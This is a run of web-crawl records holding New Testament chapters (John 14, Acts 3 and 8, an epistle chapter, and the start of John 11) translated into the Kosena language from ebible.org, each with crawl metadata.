siráiye.\n6 mindáyave'a Áánútu asirayáwáí aúranka'a kentúma íma maimaé iyíyana kwemó imáyáamo índa-kanaa kentúwí'a mósá maráníye.\n7 Áánútu keinárawa'a kwétuwa'naa-ena kárákwiraivo umbai-yántáákóná imáyáa kwembá ámatuwe'a máéro.\n8 áwáávitemo in-íyánkómó póímo kwaásimo vándaintemba Sáátáánigo kwaásimo kweivárí'o índayavena kwéivo táátave'a kwée'a kárákwiyoro.\n9 Áánútun-aaiyave'a asiramái imáyáa kwée'a Sáátáánigon-aai a'áo seró. amápa'-maravakewaimo Áánútun-aaiyavesamo árairemo kwésewaitopa'a mirán-úmbáí-yántáá'á kwétivo imáyáa é'a Sáátáánigon-aai a'áo seró.\n10 umbai-yántáá'á kentópa'a sáwíyanka'a kwénimba Áánútu kasenkuí'a umátinkena tirávamai asiramátinkaina'a asiramái ménaaowe. Áánútu úwoi túwa'naa úmae kwéiyena Káráísitiye tarútinkena séna kesí ságayan-ayampa'a ságayambo ímo ánásanin-ayampa'a métinkanaumne siráiwai mirá íníye.\n11 kwená asirayánkó kwaíkai'a éna íma ánásanimba mindá árair-aimban-iye.\n12 moóráwai áwí'a Síyóvénesi súwa'naa isa'á kínda simái kwéagayaumne. kwemá Áánútuna kwaási éna kesí mayáímá kawe'á umái kwémayaiye. asiramátinkanaundayave'a maanáúváí kwéagayaumpo árai'a Áánútu úwoi kwésuwa'naa-in-aimba kwésimatimunda tirumpimbá asiramái tátore'a máéro.\n13 Áánútuna kwaási Pépíróni-naopa'a máyáawai Áánútumo keinárawa'o ítámakaintemba miwí ítámakaiwai keinárawatavesa sésa kawe'á umái máéro sewaná kesááninko áwí'a Máákaagwara'a séna kawe'á umái máéro kwésiye.\n14 Ísu Káráísitina kwaásin-ovo moórá-morawaivimba kentirumbá timé'a tiyáámba tíméro. Káráísiti kwená kwaási paru kwéumatinkaintave'a námúnaa kwésune.\nkemá Pítaamo súnda-aimba kwéanasaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/P15.html","date":"2023-09-29T09:44:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510501.83\/warc\/CC-MAIN-20230929090526-20230929120526-00709.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":274,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nÁánútunopa'a iyónááon-amba kemá úne Ísu siráin-kwasai.\n1 Ísu simásuwena simátimena séna kentirumbá íma sáwí'a é'a íma anón-imayaa oró. Áánútuwe aráápamai mé'a kesé aráápamai máéro. kentí imáyáa Áánútumpa'a tuwé'a Áánútuna imáyáa é'a ánivo kesí imáyáa oró.\n2 kesivoná naaópa'a sáwíva'-maru'a kwéraiye. ímo mirámó uráinkakai íma simátimusino.\n3 kemó iyúnda kentí maru'á uto'mayaa umátinkanae'a iyúne. usauwé'mae'o kuntí'mae'o íyónda kemó máyaundara'a uménaaowe. mirá ona'á kesé ménaaowe.\n4 kemó iyúnda-amba á'a awánaawe súwana\n5 Tómáasi simámena séna anóndakoo emó iyónda-naopa'a íma awánáúmne. nááraumai minámbá awánanaumno súwana\n6 Ísu séna Áánútunopa'o iyónááon-amba kemá úne. kemá áraikona ááimba úne. kemá maí'mai'a ónááowaina ááimba úne. kesivoná naaópa'a íma úwoi iyónááomba pó'a kemá minámbá únda pó'a iyónááowe.\n7 kesí ááimbo kwésuwanekai kesivombá awánaasino. ívé'a kwéawanaawe súwana\n8 Vírípi séna anóndakoo enavombá agaráásínkénanaya kentáá kanaa íno súwana\n9 Ísu séna ayáátááka'a keséma máyaundanivo emá kesí ááimba íma kwésuwanaane. kesí ááimba suwánaawaima kesivombá á'a kwéawanaavo nóra isa enavombá agaráásinkaao seénó.\n10 kemá kesivoé tarúmai máyaunana kesivomá kesé tarúmai máyáiye. mináíntávé'a áraire seró. íma kesí imáyáavinkemba súmpo kesivomá kesé ména kwená mayáímá isa'á súne.\n11 kemá kesivoé tarúmai máyaunana kesivomá kesé tarúmai máyáimba pó'a mináíntávé'a áraire seró. ímo mirámó sé'o é'a kesí mayáímá awáné'a sé'a árai'a kwíyómpakemba Áánútunopakemba kunkáiye seró.\n12 árai'a simátime'a sé'a kentávé'a árai'a Áánútunopakemba kunkáiye síyawaima kemó úndantem-bayai miwígwárá'á mayánááowe. kesivonópa'a iyé'a Áánútun-amamba ai'máráándayavena miwítí mayáígó kesí mayáígómbá usáyaaitaniye.\n13 kesí imáyáamo é'o sísaa íya'o é'a mirá ónaumpo kentávé'a ísámai kesivo áwí'a mósá maránááowe.\n14 kesí imáyáamo é'o sísaa íya'o é'a kemá mirá ónaumne Ísu siráiye.\nÁánútun-amamba ai'máráanana kumíníye siráin-kwasai.\n15 Ísu mináímbá simásuwena séna kentirumbó símakaambo é'a kesáái ísámai kawe'á ónááowe.\n16 kesivombá áísaa onaná karáá'á tutinkáníwaimba ai'maráínana kumbéna kesé aasiyaasí maí'mai'a íníye. kwemá áraikona ááimban-iye.\n17 marapá-kwáásí kwembá íma awánésa kwenáái íma ísáamba pósa íma kanaán-umai sésa kesé tamaiyó sevó kesé ména kentirumpimbá maí'mai'a imbá pó'a kwembá kwéawanaawe.\n18 sáwíyanka'a tiyuwáúndanivo íma megusaamó ontembá ónááovo usauweránáumne.\n19 sáwíyanka'a marapá-kwáásí kembá íma suwánanaaombanivo keinárawa'a ókwara'a suwánanaaowe. kesé ménaunda pó'a kemá aúnái'a umái ménaaowe.\n20 minkánáámá tínímba pó'a sé'a árai'a avowáe ména kesé máyáísata kwesé máyaumne mirá sénááowe.\n21 kesááimo taagwiyavésamo kawe'ó kwéowai tirumbá kwésimewe. tirumbá simíyawaima kesivoé kesé sirunkáí timéyauye. kesirumbó timúndawaiyavaiye simái avora'á paárumai ménaumne súwana\n22 Yútási Isakéríóti aráámáómá áwí'a Yútási séna Ísóigoo nóintavaiye séwa úwoi-kwaasiyavaiye simái íma avora'á paárumai ménaumne seénó. kentááyáváíyé simái avora'á paárumai ménaumne seénó súwana\n23 Ísu séna tirumbá símakaawaima kesáái ísámai kawe'á íyana kesivomá arumbá miwí timínakai kesé kesivoé miwísé kumbéyauye.\n24 kesáái ísámai íma kawe'á kwéowai tirumbá íma símakaawe. súnda-aimba íma kesí imáyáavinken-aimban-ivo kesivo si'mákaiwaina imáyáavinken-aimban-iye.\n25 kesé máyaundara'a mináímbá kwésimatimune.\n26 ánivo kesivomá kwenamambá kentí karáákómbá ai'maráínana kumbéna kesí anondá éna amápa-tantaa'a agaráátinkena súnda-aimba timína'a tááka'a maránááowe.\n27 tiyuwé'a paru kwéumatinke'a kentirumbó kwempa'ó maráí-yántáá'á kwétimune. marapá-kwáásí íma kwétimewa'anivo kesirumbó kwempa'ó maráúndantemba miráumai kwétimune. mindáyavena kentirumbá íma sáwí'a éna íma táá'a kaíno.\n28 tiyúwáandanivo kentópa'a usauweránaumnemo súnda á'a kwéisaawe. kentirumbó símakaambo é'a kesivonópa'a íyóndayave'a aamoí ónááowe. kesivomá kembá usáyaaitaraintavaiye simái aamoí ónááowe.\n29 íma paáruraisa'a simátimunda póna paárína'a kentávé'a sé'a árai'a siráiye sénááowe.\n30 Sáátáánigo maambárárá'á sáwí-kawaana'a kwétimba pó'a íma ayáátááka'a aaimá simátimundanivo kwená asirayánkó íma kembá tátoraniye.\n31 kesivomá simásímakaimba mirá únda suwánésa sésa avowámbá arumbá ámakaiye sénááowe. usásinaiyata konó Ísu siráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN14.html","date":"2023-09-25T06:35:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506686.80\/warc\/CC-MAIN-20230925051501-20230925081501-00114.warc.gz","language":"kze","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0}","num_words":493,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.221,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nPítaa aísamaima kawe'á umánkarain-kwasai.\n1-2 moórá-kwaasi anówa maránkarompinkemba aísamaima pukurón-kwaasi máyowasa aasiyaasi-táwai áí'maesa anóm-bono'-nankona ontará'á áwí'a kawer-óntárá'á móankarowana ména anóm-bono'-naumpa'o íyún-kwaasiyavena óntantavai inaainaaí sún-kwaasi máyonka'a anóm-bono'-naumpa'a Pítaae Yóniye íyúyana aaváúmá toraétáápa'a kúwasa námúnaa kwésen-kanaara'a íyúyana\n3 tuwánéna séna óntamba símékaiyo súwasarai\n4 túramba kararésarai Pítaa séna kenkáí suwánaao suyaná\n5 siméyááoiye-imayaa éna tuwánówana\n6 Pítaa séna íma óntamba makáumpo Ísuna asirayándéí kawe'á umánkanaumne. Ísu Káráísitima Násáretivakewaina asirayámbá kwáyáintave'a sé'a usásine naauwó súne Pítaa séna\n7 ayáánúrapa'a táto'mai usásinankowana aísaumba aísána kawe'á úwana\n8 usásinkwena tokávara taúvaraa'a éna aamoí éna Áánútu áwí'a mósá kwémarena mindáraiye anóm-bono'-naumpa'a\n9 kweyááríka'a marapá'á iyéna Áánútu áwí'a mósá marówasa amáparawai awánésa\n10 sésa miwá aasiyaasi-táwai anóm-bono'-nankona kawer-óntárá'á ména óntan-inaai síma-sima'a indá'án-iye sésa táátavai ésa kweyááríka'a marapá'á kwéiyuntavesa tiyáámba tuvimpín-ésa táátavai uráawe.\nPítaa simátímakain-kwasai.\n11 kweyááríka'a kwéiyena aamoí éna Pítaante Yóninte tine'á tátorowasa amáparawai táátavai ésa miwítópa'a tóyo ésa anóm-bono'-naumpa'a Sórómoni áúgwimai úmakopa'a tóyo uwaná\n12 Pítaa tuwánéna séna Ísareri-kwaasiyono. mintántáátáváí íma táá'a kaíno. íma túramba kenkáí aráá'a sivuwóro. íma kenkáísí asirayánkó kawe'á umái arupí umái mékai kwéuvo\n13 Áánútuna asirayánkó mirá kwéisana minkwáásí kweyááríka'a kwénaaiye. mirá uráintavai Áánútu Ísu áwí'a mósá maréna kentáá síkwá'ná Ááváramu Áísákaa Yákópo miwítí Ísóigoma kwená kwayó'nákó áwí'a Ísumba póna mósá makáiye. ánivo Ísumba áí'mae'a Árómáani-kamaani-kawaanako áwí'a Páírátinopa'a máánkarowana Páíráti séna ayúrankanae súwa'a a'áo siráawe.\n14 kawe-kwáásí arupí umái máyon-kwaasiyave'a a'áo sé'a moórá-kwaasi inkamúwana puwúwasa ándáva'a áúkon-kwaasiyave'a ayúrankaao siráawe.\n15 mirá uráantave'a aúnái'a umái maí'mai'a ónááowaina ááin-kwaasi kemá tuvúwana pukáimpinkemba Áánútu usásinankowakai awánarauye.\n16 awánarauyawai Ísuna asirayánkó aísamaima pukón-kwaasi kawe'á umánkaraiye. Ísuna asirayántávéna áraire siráimba isaná minkwáásí kawe'á umái kwénaaisa'a kwéawanaawe Pítaa siráiye.\n17 Pítaa mináímbá simásuwena séna keinárawate kentí kawáánárawate íma awánamai Ísumba kawer-uré'a tuvukáawe.\n18 naaóvá'á Áánútu kwenáái simátímakowaiyavena séna simátime'a sé'a kemó usásinankaundawaimba sáwí'a umánkanaaowe Áánútu siráinka'a póna keinárawa'o Ísumbo uráamba mináímbá paáruraiye.\n19 mindáyave'a kentí sáwí-imayaa tínaaemba umásuwe'a Áánútunopa'a tíyana póna Áánútu kentí sáwí-imayaa maitiyuwáníye.\n20 moórá-mora-tawai Ísóigo kwená asirayámbá timína'a kwesé ménaaontave'a kentí sáwí-imayaa tuwé'a Áánútunopa'a teró. Áánútuma túwa'naa ínkwáe séna usásinankaiwaimba Ísumba ai'maráínana kumíníntave'a kentí sáwí-imayaa tuwé'a Áánútunopa'a teró.\n21 Ísu kwíyómpa'a umáyáimba póna naaén-kanaamo éna amápa-tantaa'a aúnái'o índa-tawai ókwara'a marapá'á kumíníye. naaóvá'á Áánútu mináímbá simátimuwasa Áánútun-aai ísón-kwaasi kawe-kwáásí isésa simátímakaawe.\n22 Áánútun-aai simátímakowai áwí'a Mósesi séna Áánútu kentí Ísóigo kembá kesí mayáí mayaaó séna si'mákainten-umai Áánútun-aaimo simátiminiwaimba keándárakemba moóráwaimba ai'maráínana kwenáái simátiminasa isánááowe.\n23 ímo isáíyawaimo éna Áánútu kwená kwaásivinkemba tí'maena moóráva'o tinkáindawai ánásanaaowe Mósesi siráiye.\n24 Áánútun-aai simátímakowai áwí'a Sámúwéri kwemá simátímakonka'a naaén-kwaasi simátímíntemba mai-simátíma'maesa iyémáyáamba kwévaariye.\n25 naaóvá'á Áánútu kentáá síkwá'ná áwí'a Ááváramuntavena séna enándáraken-kwaasiyavena amápa'-marava-kwaasi kawe'á umátinkanaumne Áánútu asiramái siráiye. Ááváramun-andaraken-kwaasi owaná póna keinárawatavena Áánútu mináímbá asiramái siráiye.\n26 miráumai Áánútu Ísuntavena kesí mayáí mayaaó séna ai'marówana keinárawapimba kunkáiye. amáparawai kentí sáwí-imayaa tínaaemba umásuwaiyana aiva'á keinárawa'a kawe'á umátinkanintavena keinárawapimba kunkáiye Pítaa Ísareri-kwaasiyavena simátímakaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC3.html","date":"2023-09-28T00:40:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510334.9\/warc\/CC-MAIN-20230927235044-20230928025044-00780.warc.gz","language":"kze","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999984502792358}","num_words":426,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nSóro Ísuna kwaási sáwí'a umátínkarain-kwasai.\n1-3 Sítívenimbo tuvúmba Sóro arunkó aamoí úmbanivo évakarawai Áánútun-aaiyavesamo asiramáímo máúwai Sítíveni áúma maimaé máutesa anón-ivi'a tombánivo Sóro Ísuna aampa'ó kwéguwai tínkambai ánásanae séna kúmba naaúmpimpakemba aarakwá'á koyavisimái ándáva'a tíyupa'a kúwasa Yérúsaremuva'a Ísuna aampa'ó kwéguwaima aivarí'a umái sáwí'a umátinkowasa kóyáwé uwasá aantá-kwaasiye su'mai Yérúsaremuva'a máyówasa ó'on-kwaasi Ísuna aampa'ó kun-kwáásí Yútiyaa-ayampa'a Sámériyaa-ayampa'a kóyáwé uráawe.\nSámériyaava'a áséi-kwasai kosimátímakaan-kwasai.\n4 Ísuna aampa'ó kwéguwai kóyáwé ésa Ísuna áséi-kwasai kosimátíma'maesa kurá.\n5 Vírípi Sámériyaa-naopa'a kúmba kosimátimena séna Áánútumo usásinankaiwai amu'maráúndawaiyaamo á'o kunkáimba kwemá Ísuman-iye\n6 Vírípi simátimumba kawe'á umái ísówana ímo awánarom-bayai mayówasa awánowana\n7 taraváá-kwámbá tirumpimbá máyówaiyavena aaí súwasa taraváá-kwámbá kwáá'a tumásuwesa kóuwasa kwaási kawe'á umái máyówana aíyayaamba pukón-kwaasi asóvamatinkowasa kawe'á umái mésa\n8 Sámériyaavaken-kwaasi ávááraumai tirunkó kawe'á umái méraawe.\n9 Sámériyaa-naopa'a moóráwai áwí'a Sáímoni ména anón-kwaasi úne séna pukaa'á agaimaéna kwéiyuwasa táátavai kwéesa\n10 anón-kwaasiye úwoi-kwaasiye kwená mayáí awánésa kwenaráái kwégwaresa sésa Áánútuna asirayánkóe kwená asirayánkóe moórái'a uráiye kampa'á suwaná\n11 ayáátááka'a pukaa'á agaimaéna kwégum-bayai mayówasa kwenaráái kwégwaresa táátavai uráambanivo\n12 naaémba Vírípi Áánútuna áséi-kwasai kosimátimena Áánútu kwená kwaási kwégawaain-kanaama kosimátimena Ísu Káráísitin-aai kosimátimuwasa isésa sésa árair-aimban-iye suwaná Vírípi minákwá'á nombá pétinkowana\n13 Sáímoni kwegwárá'á áraire súntavai Vírípi nombá pérankowana Vírípiye kwénaauwana ímo awánóm-bayai mayówana awánéna áátavai uráiye.\n14 mirámó Sámériyaava'o kwéumba Yérúsaremuva'a aantá-kwaasi mésa Sámériyaavaken-kwaasi Áánútuna áséi-kwasai isésa mináímbá méyatokaan-aimba isésa Pítaante Yóninte ti'márówasarai kweémesarai\n15 Sámériyaava'a komésarai Ísuna aampa'ó kwéguwaiyavai ísámai námúnaavinkemba sésarai Áánútun-amankomba mayánááowe sirááiye.\n16 Vírípi nombá pétinkaronka'a Ísóigo Ísuntavena ísámai nombá pétinkowana Áánútun-amamba íma marómba pósarai Pítaae Yóniye námúnaavinkemba sésarai\n17 tiyáámba tátoroyana Áánútun-amanko tirumpimbá kumúwasa mairáawe.\n18 aantá-kwaasirai tiyáámba tátoroyana Áánútun-amanko tirumpimbá kumbaúwasa máyómba Sáímoni awánéna asirayámbá meéyámbaranae séna Pítaante Yóninteyavena séna óntamba maékai\n19 minásíráyámbá simékaiyo. ó'on-kwaasi siyáámba tátoraanana Áánútun-amanko tirumpimbá kumbaínkwáe súwana\n20 Pítaa séna Áánútu úwoi kwétimin-tantaatavai óntandei meéyán-ónáe sénda po ená óntankwara'a esé iravímbá ánásayaaoiye.\n21 Áánútu aúranka'a ená imáyáa íma arupí imbá po maambáyáí kenkáísí mayáí íma súwa'naa íníyone.\n22 ená sáwí-imayaagomba ánaaemba umásuwe Ísóigomba áísaa inaná ená sáwí-imayaagona anondá mayauwáníye.\n23 Áánútu íma asirayámbá ámakaintavai enarumbá sáwí'a umásinkaanana ená sáwí-imayaao anómba éna embá tátokaiye Pítaa súwana\n24 Sáímonima Pítaante Yóninteyavena séna súwa'naa ékai Ísóigomba námúnaavinkemba áísaa íyana emó sénda misáwí-yántáá'á íma kempá'á tíno Sáímoni siráiye.\n25 súwasarai Pítaae Yóniye Ísóigon-aai simátimesarai Ísuwe naaémáúyan-aimba simátimesarai Yérúsaremuva'a kónáe sésarai aampa'á kweémesarai Sámériyaa-ayampa'a naaó'-nao'a Áánútuna áséi-kwasai kosimátíma'maesarai kurááiye.\nVírípinte Ítíópiyaavaken-kwaasintei kwaasái.\n26-28 mindárai Yérúsaremuva'a kuyaná Vírípi Sámériyaava'a máyomba moóráwai anón-kwaasi Ítíópiyaa-maravakewai éna Ítíópiyaa-kwaasiti kawáá-ínínkó áwí'a Káándásina óntanka'a kárákwirowai Áánútuna imáyáa éna Yérúsaremuva'a kweémena Áánútu áwí'a mósá maréna koyauweréna kwená káárivimba anóm-poigo tavisímaena kún-kaarivimba kúmba Ísóigona kwayó'ná'á kwíyómpakewai Vírípintavena séna usásine Yérúsaremuvakemba Kásaava'a kwégon-ampa'a kwaaó súwana iséna usásinena minámpá'á kweémena kavóná-marava'a kúmba Ítíópiyaa-maravaken-anon-kwaasi kwená káárivimba kweémena aúváí-kwandaaivimba awánéna naaóvá'á Áánútun-aai simátímakowai áwí'a Áísáya agaimakón-aimba awánómba\n29 Áánútun-amanko Vírípintavena séna kwená káárigona egwaa'á kwaaó súwana\n30 isaaísena kúmba Áísáya agaimakón-aimba táámpamai kwésuwana Vírípi iséna áísaa ena séna mináínkóná ááimba kwéisaano súwana\n31 á'a moóráwai simásiminimba pó'a isánaumpo kesí káárivimba usáataao súwana Vírípi minkáárívímbá usáatena umaúwana\n32 mináúváí-kwándááívínkén-áímbá táámpamai séna\nsipisípi áyáumo karánáesamo owanamó ímo kwáá'o tintembá minkwáásígó íma aaí siráiye. sipisípi tuvuwónáesamo owanamó ímo kwáá'o tintembá minkwáásígó íma aaí siráiye.\n33 kwenáwí'a móruna tuwésa sáwí'a umái aaivimbá mayánkaraawe. kwená kwaási sáwí-mayai mairésa tuvuwówana marapá'á máyáin-kanaama ánásaraiye. mindáyavesa miwítí sáwí-mayai íma kanaán-umai avora'á simátimenaaowe\nagaimaréna siráiye.\n34 Ítíópiyaavaken-kwaasi mináímbá táámpamai simásuwena Vírípintavena áísaa ena séna Áánútun-aaimo simátímakowai nááwantavena mináímbá siráiyo. kwesávéna sirái. ó'owantavena siráiyo súwana\n35 Vírípi Áánútun-aaimo aúváívinkembo táámpamaimo simámakainten-umai Ísuna áséi-kwasai kwésimamena\n36 aampa'á kuyambá nombá kwáyopa'a kwésarai uyaná Ítíópiyaavaken-kwaasigo séna nombá kwáyáínka'a pésinkainkwae sé'a únana nóinko aampimbá ítáraiyo súwana [\n37 Vírípi séna Ísumpa'o arumbó amé kwenááiyavai áraire simáímo maína'o é'a nombá pérankanaumne súwana Ísu Káráísintave'a árai'a Áánútu áánimban-iye kwésune séna]\n38 káárimo maisoréna kúwaintavena séna káári tátoraao súwana iséna tátorowasarai Vírípiye Ítíópiyaavaken-kwaasiye nompímbá kumbésarai Vírípi nombá pérankowasarai\n39 úwoiva'a íyúyana Áánútun-amanko Vírípimba kunáí'maena kóúwana Ítíópiyaavaken-kwaasi awánómba íma máyombanivo aamoí untáva'a kwená naaópa'a kúmba\n40 Áánútun-amanko Vírípimba kunáí'maena Ásátóti-naopa'a máánkarowana Vírípi mináyámpá'-náópa'a Áánútuna áséi-kwasai simátíma'maena Sísáriyaa-naopa'a kuráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC8.html","date":"2023-09-26T06:43:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510149.21\/warc\/CC-MAIN-20230926043538-20230926073538-00635.warc.gz","language":"kze","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000042915344238}","num_words":611,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\n1 kentáásúma kwááyu-nankaa-suwawaata isatá minkúwawaakwarata marapátá méta maarán-áímbá kwésune. maankwááyú-námbá tawísígwinata Áánútumo kwíyómpa'o úmakain-daumpa'a ménaundayaawe. mindámbá kwaási íma úmakaan-damban-ivo Áánútu kwená imáyáavinkemba úmakaimba kwaíkwai'a ínín-damba mindá kwíyómpa'o ménaunda-kuwawaa'an-iye.\n2 marapá'ó máyaundaya anón-imayaa éta kwíyómpa'o ménaunda-kuwawaata simínkwáeya kwéseta\n3 maarán-áímbá íma séta puwéta súwawaar-íyaainkaanta umáíya máyaumne íma kwésumpo maarán-áímbá séta kwíyómpa'o ménaunda-suwawaata naankáántá ónáeya kwésune.\n4 kentáásúma kwááyu-nankaamba isatá máyaundaya umbai-yántáá'á kwáyáintaveta anón-imayaa éta marapá-súwawaataamo tuwánaunda-aimba íma séta kwíyómpa'o ménaunda-suwawaata mayánaunda-ainta kwésune. miráyá ónaunda marapáké-súwawaakaanta aúkáinata maí'maita ónaumne.\n5 miráyáámó ónaundayavenaya Áánútu kentáá to'mayaa éna kwenamankómbá ai'marówana kentáásirumpimba kumbáyáísata mindáyaveta to'mayaa umásínkarainta mirá íníye kwésundayaawe.\n6 Áánútu kwenamankómbá ai'marówana kentáásirumpimba kumbáyáintaveta kentáásí imáyáa asiramáíya máyaumne. marapá'ó máyaundaya Ísóigo Ísu Káráísitiyeya íma kwíyómpakaani'a umáíya máyaundayaawe.\n7 ívéta marapá'á máyaundaya kwenane'á íma kwéawaneta kwenááiyaveta áraire séta kwenká'á agevamáíya méta\n8 kentáásí imáyáa asiramáíya méta puwétaamo kwíyómpa'o Ísóigo Ísu Káráísitiyemo métaaraiya aamoí úsino.\n9 maanká'ó máyaundayaawe kwíyómpa'o uménaundayaawe Áánútumbo arááímo kwétaini'a ónáe súndaya póna aamoí umásínkáisintaawe.\n10 amáparawaiya Ísu Káráísiti aúranka'a máyáananaya kesáámó máyaundawaina ááintavena sísaa ena marapá'ó máyáamba kawe'ó kwéowai kawe'-méyámbá tiména sáwí'o kwéowai sáwí-meyamba timínímba póta kwembó arááímo kwétaini'a ónáeya kwésune.\nÍsuwemo tarúmaimo máyaundaya aúnái'a umáíya máyaunda-kwasai.\n11 Ísóigo máyaundawaina ááimba sísaa íníntaveta kwentávéna sáá'a kwégaisata kwenópa'a tígwáe séta kwaási kwétavisundayaawe. Áánútu máyaundawaina ááinta suwánaisa'a keinárawatemo máyaundawaina ááinta kwésuwanaamba kawe'á kwéiye kwésune.\n12 kentáá súwí'a íma maé kwéiyundanivo máyaundawaina ááintave'a aamoí ónááontaveta máyaundawaina ááinta kwésimatimune. aamoí é'a kentááyávésamo sáwí-aimbo kwésen-kwaasi táái kanaán-umai anondá simátimenaaontaveta máyaundawaina ááinta kwésimatimune. minkwáásí paáká-túwawaare su'mai tuwánésa kawe-kwáásímán-owe sésa tirumpin-ímáyáá íma awáresa kawe-kwáásímán-owe kwésewe.\n13 évakarawai kentááyávésa uwo'aó'á kwéowe kwésewata kanaán-iye séta Áánútuntaveta imáyáa éta miráyá kwéunasaya évakarawai kentááyávésa kawer-ímáyáágwárá-kwáásímán-owe kwésewata kanaán-iye séta keinárawataveta imáyáa éta miráyá kwéune.\n14 amáparawai sáwí'o kwéomba mimbéyámbá maésa púwóvo séna Ísu Káráísiti mimbóráwáí kentááyávénawe séna pukáimba póta Káráísiti arumbá kwésimiwaina mayáíyé su'maiya kwémayaumne.\n15 amáparawaiya sáwí-imayaago tátokaimpinkemba iyásinkanintavena Ísu Káráísiti pukáimba póta kentáámó sirááímo kwétaini'a íma kwéeta kwembó arááímo kwétaini'a kwéeta máyaumne. mirámó ónaundayavenaya kentááyávénawe séna puwúwana Áánútu usásinankaraiye.\n16 ááéma marapá'ó máyáan-kwaasiti ááimba kwaréta évakarawaiyaveta kawe-kwáásímán-owe séta évakarawaiyaveta sáwí-kwaasiman-owe siráumpo ívé'a íma miráyá kwéseta ááéma marapá'ó máyáan-kwaasiti ááimba kwakáunda Káráísitintaveta úwoi-kwaasiman-iye siráundaya ívé'a íma miráyá kwésune.\n17 mindáyaveta Ísu Káráísitiyemo tarúmaimo máyaundaya aúnái'a umáíya méta ááémo uráundanten-imayaa íma éta ívé'a aúná-imayaa umáíya máyaumne.\n18 Áánútu mirá kwéivo ááéma Áánútuna namuro-kwáásíráámbá umáíya máyaawananaya Áánútu kesí kwaási-i'a umái maígwáe séna Ísu Káráísitimba ai'marówana kentááyávénawe séna kumpuwówana kwená kwaási-i'a umásinkenaya séna kesí kwaási-i'a ígwáe-aimba kosimátíméro séna si'mákaisata mimbáyáíyá kwémayaumne.\n19 mináínkóná ááimba maarán-áímbán-iye. Ísu Káráísiti amáparawaiyavenaya imáyáa éna pukáimba mindáyavena Áánútu imáyáa éna kwaásimo sáwí'o kwéomba íma aaivimbá kwémaitinkaivo kwená kwaási-i'a kwéumatinkena kentááyávénawe séna kesí kwaási-i'a ígwáe-aimba kosimátíméro séna si'mákaisata kwésimatimune.\n20 kesáá Ísu Káráísitina aantá-kwaasiya únanaya simásímísata keinárawa'a kwésimatimundayaawe. Áánútu keinárawatavena asiramái siráisata siráin-ainta kwésimatimune. Káráísiti pukáintavena Áánútuna namuro-kwáásíráámbá umái máyáampinkemba kwená kwaási-i'a kwéumatinkaivo kwenááiyave'a owé seró.\n21 Ísu Káráísitimpimba sáwí'o ií-áímbá íma kwáyowana Áánútu kesáámó sáwí'o únda-aimba kwempíntá ámakaiye. Káráísitiye tarúmaiya méta Áánútu aúranka'a arupí umáíya ménaundayavenaya Áánútu mirá úwana Káráísiti kesáámó sáwí'o únda-aimba maimaéna mindánankwara'a pukáimba póna Áánútu kwená namuro-kwáásíráání'a umáíya máyaundawai kwená kwaási-i'a kwéumasinkaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C25.html","date":"2023-09-27T22:55:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510326.82\/warc\/CC-MAIN-20230927203115-20230927233115-00263.warc.gz","language":"kze","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000090599060059}","num_words":473,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nÁrásárási pukáin-kwasai.\n1 moóráwai áwí'a Árásárási Pétáni-naopa'a máyowana áí'a úwasarai ámánaakai túwí'a Máríyaae Máátaae mimbórává'á mésaya\n2 Máríyaa ó'on-tawai áséi-kwiyumba úm-basawemba Ísu aísamaira'a atímarena kwena'nóntáunei uwátukai-ininko éna tiyóvígomba áí'a kwéuwasarai\n3 minúnándáráí moóráwaintavesarai sésarai Ísumba kosimáme se anóndakoo enarumbá ámakaandawaimba áí'a kwéiye kosimámiyo suyaná kosimámuwana\n4 Ísu iséna séna Árásárásimbo áí'o kwéimba íma pu'mái ánásaindayavena áí'a kwéivo Áánútu áwíkwara ááninko súwíkwara'o mósá maránááontavena áí'a kwéiye Ísu séna\n5 Máátaante Máríyaante Árásárásinte kwenarumbá tímakomba póna\n6 áí'a kwéun-aimba iséna kae-táwai aáno maéna\n7 minká'á kwená 